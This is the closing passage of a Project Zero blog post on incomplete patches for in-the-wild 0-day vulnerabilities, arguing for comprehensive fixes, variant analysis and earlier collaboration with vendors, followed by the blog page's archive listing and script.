seen previously. We also showed how three vulnerabilities that were exploited in-the-wild were either not fixed correctly or not fixed comprehensively when patched this year. When 0-day exploits are detected in-the-wild, it’s the failure case for an attacker. It’s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can’t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they’re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that, we need correct and comprehensive fixes. Being able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done. Exactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.While the aim is that one day all vulnerabilities will be fixed correctly and comprehensively, each step we take in that direction will make it harder for attackers to exploit 0-days.In 2021, Project Zero will continue completing root cause and variant analyses for vulnerabilities reported as in-the-wild. We will also be looking over the patches for these exploited vulnerabilities with more scrutiny. We hope to also expand our work into variant analysis work on other vulnerabilities as well. We hope more researchers will join us in this work. (If you’re an aspiring vulnerability researcher, variant analysis could be a great way to begin building your skills! Here are two conference talks on the topic: <a class="c211" href="https://www.youtube.com/watch?v=mC1Pwsdy814">my talk at BluehatIL 2020</a> and <a class="c211" href="https://www.youtube.com/watch?v=fTNzylTMYks">Ki Chan Ahn at OffensiveCon 2020</a>.)In addition, we would really like to work more closely with vendors on patches and mitigations prior to the patch being released. We often have ideas of how issues can be addressed. Early collaboration and offering feedback during the patch design and implementation process is good for everyone. Researchers and vendors alike can save time, resources, and energy by working together, rather than patch diffing a binary after release and realizing the vulnerability was not completely fixed. <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> Posted by Anonymous at <meta content='https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html' itemprop='url'/> <a class='timestamp-link' href='https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2021-02-03T09:10:00-08:00'>9:10 AM</abbr></a> <a class='comment-link' href='https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html#comment-form' onclick=''> No comments: </a> <a href='https://www.blogger.com/post-edit.g?blogID=4838136820032157985&postID=2386590713508572091&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> <div class='post-share-buttons goog-inline-block'> <a class='goog-inline-block share-button sb-email' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2386590713508572091&target=email' target='_blank' title='Email This'>Email This</a><a class='goog-inline-block share-button sb-blog' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2386590713508572091&target=blog' onclick='window.open(this.href, "_blank", "height=270,width=475"); return false;' target='_blank' title='BlogThis!'>BlogThis!</a><a class='goog-inline-block share-button sb-twitter' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2386590713508572091&target=twitter' target='_blank' title='Share to X'>Share to X</a><a class='goog-inline-block share-button sb-facebook' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2386590713508572091&target=facebook' onclick='window.open(this.href, "_blank", "height=430,width=640"); return false;' target='_blank' title='Share to Facebook'>Share to Facebook</a><a class='goog-inline-block share-button sb-pinterest' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=2386590713508572091&target=pinterest' target='_blank' title='Share to Pinterest'>Share to Pinterest</a> </div> </div> <div class='post-footer-line post-footer-line-2'> </div> <div class='post-footer-line post-footer-line-3'> </div> </div> </div> </div> </div></div> </div> <div class='blog-pager' id='blog-pager'> <a class='blog-pager-newer-link' href='https://googleprojectzero.blogspot.com/search?updated-max=2021-04-01T09:06:00-07:00&max-results=1&reverse-paginate=true' id='Blog1_blog-pager-newer-link' title='Newer Posts'>Newer Posts</a> <a class='blog-pager-older-link' href='https://googleprojectzero.blogspot.com/search?updated-max=2021-02-03T09:10:00-08:00&max-results=1' id='Blog1_blog-pager-older-link' title='Older Posts'>Older Posts</a> <a class='home-link' href='https://googleprojectzero.blogspot.com/'>Home</a> </div> <div class='clear'></div> <div class='blog-feeds'> <div class='feed-links'> Subscribe to: <a class='feed-link' href='https://googleprojectzero.blogspot.com/feeds/posts/default' target='_blank' type='application/atom+xml'>Posts (Atom)</a> </div> </div> </div></div> </div> </div> <div class='column-left-outer'> <div class='column-left-inner'> <aside> </aside> </div> </div> <div class='column-right-outer'> <div class='column-right-inner'> <aside> <div class='sidebar section' id='sidebar-right-1'><div class='widget BlogSearch' data-version='1' id='BlogSearch1'> <h2 class='title'>Search This Blog</h2> <div class='widget-content'> <div id='BlogSearch1_form'> <form action='https://googleprojectzero.blogspot.com/search' class='gsc-search-box' target='_top'> <table cellpadding='0' cellspacing='0' class='gsc-search-box'> <tbody> <tr> <td class='gsc-input'> <input autocomplete='off' class='gsc-input' name='q' size='10' title='search' type='text' value=''/> </td> <td class='gsc-search-button'> <input class='gsc-search-button' title='search' type='submit' value='Search'/> </td> </tr> </tbody> </table> </form> </div> </div> <div class='clear'></div> </div><div class='widget PageList' data-version='1' id='PageList1'> <h2>Pages</h2> <div class='widget-content'> <ul> <li> <a href='https://googleprojectzero.blogspot.com/p/about-project-zero.html'>About Project Zero</a> </li> <li> <a href='https://googleprojectzero.blogspot.com/p/working-at-project-zero.html'>Working at Project Zero</a> </li> <li> <a href='https://googleprojectzero.blogspot.com/p/0day.html'>0day "In the Wild"</a> </li> <li> <a href='https://googleprojectzero.github.io/0days-in-the-wild/rca.html'>0day Exploit Root Cause Analyses</a> </li> <li> <a href='https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html'>Vulnerability Disclosure FAQ</a> </li> </ul> <div class='clear'></div> </div> </div><div class='widget BlogArchive' data-version='1' id='BlogArchive1'> <h2>Archives</h2> <div class='widget-content'> <div id='ArchiveList'> <div id='BlogArchive1_ArchiveList'> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2025/'> 2025 </a> (2) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2025/01/'> January </a> (2) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/'> 2024 </a> (12) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/12/'> December </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/11/'> November </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/10/'> October </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/06/'> June </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/04/'> April </a> (2) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/'> 2023 </a> (11) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/11/'> November </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/10/'> October </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/09/'> September </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/08/'> August </a> (4) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/04/'> April </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/03/'> March </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/01/'> January </a> (2) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/'> 2022 </a> (17) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/12/'> December </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/11/'> November </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/10/'> October </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/08/'> August </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/06/'> June </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/05/'> May </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/04/'> April </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/03/'> March </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/02/'> February </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/01/'> January </a> (1) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> ▼  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/'> 2021 </a> (24) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/12/'> December </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/10/'> October </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/09/'> September </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/08/'> August </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/06/'> June </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/05/'> May </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/04/'> April </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/03/'> March </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> ▼  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/02/'> February </a> (1) <ul class='posts'> <li><a href='https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html'>D茅j脿 vu-lnerability</a></li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/01/'> January </a> (10) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/'> 2020 </a> (36) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/12/'> December </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/11/'> November </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/10/'> October </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/09/'> September </a> (4) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/08/'> August </a> (5) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/07/'> July </a> (8) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/06/'> June </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/04/'> April </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/02/'> February </a> (4) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/01/'> January </a> (5) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/'> 2019 </a> (27) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/12/'> December </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/11/'> November </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/10/'> October </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/09/'> September </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/08/'> August </a> (11) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/05/'> May </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/04/'> April </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/03/'> March </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/02/'> February </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/01/'> January </a> (2) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/'> 2018 </a> (22) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/12/'> December </a> (7) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/11/'> November </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/10/'> October </a> (4) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/09/'> September </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/08/'> August </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/07/'> July </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/06/'> June </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/05/'> May </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/04/'> April </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/01/'> January </a> (1) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/'> 2017 </a> (19) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/12/'> December </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/10/'> October </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/09/'> September </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/08/'> August </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/07/'> July </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/05/'> May </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/04/'> April </a> (6) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/03/'> March </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/02/'> February </a> (2) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/'> 2016 </a> (17) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/12/'> December </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/11/'> November </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/10/'> October </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/09/'> September </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/08/'> August </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/07/'> July </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/06/'> June </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/03/'> March </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/02/'> February </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/01/'> January </a> (1) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/'> 2015 </a> (33) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/12/'> December </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/11/'> November </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/10/'> October </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/09/'> September </a> (4) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/08/'> August </a> (6) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/07/'> July </a> (5) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/06/'> June </a> (4) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/05/'> May </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/04/'> April </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/03/'> March </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/02/'> February </a> (3) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/01/'> January </a> (2) </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/'> 2014 </a> (11) <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/12/'> December </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/11/'> November </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/10/'> October </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/09/'> September </a> (1) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/08/'> August </a> (2) </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> ►  </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/07/'> July </a> (3) </li> </ul> </li> </ul> </div> </div> <script type='text/javascript'> //<![CDATA[ (function(){ let archive_list = document.getElementById('ArchiveList'); if (archive_list == null) return; let cur_year = archive_list.querySelector('.post-count-link').innerText.trim() - 0; let last_year = 2014; let elements = []; const MONTHS = ',Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec'.split(','); let parent = document.getElementById('ArchiveList'); while (parent.childNodes.length) parent.removeChild(parent.childNodes[0]); function fetch_next_year() { let url = 'https://googleprojectzero.blogspot.com/?action=getTitles&widgetId=BlogArchive1&widgetType=BlogArchive&responseType=js&path=https%3A%2F%2Fgoogleprojectzero.blogspot.com%2F'+cur_year; fetch(url).then(resp => { if (!resp.ok) { console.log('http error'); return; } resp.text().then(text => { let scope = { _WidgetManager: { _HandleControllerResult: (name, method, results) => { elements.push(document.createElement('hr')); let year_header = 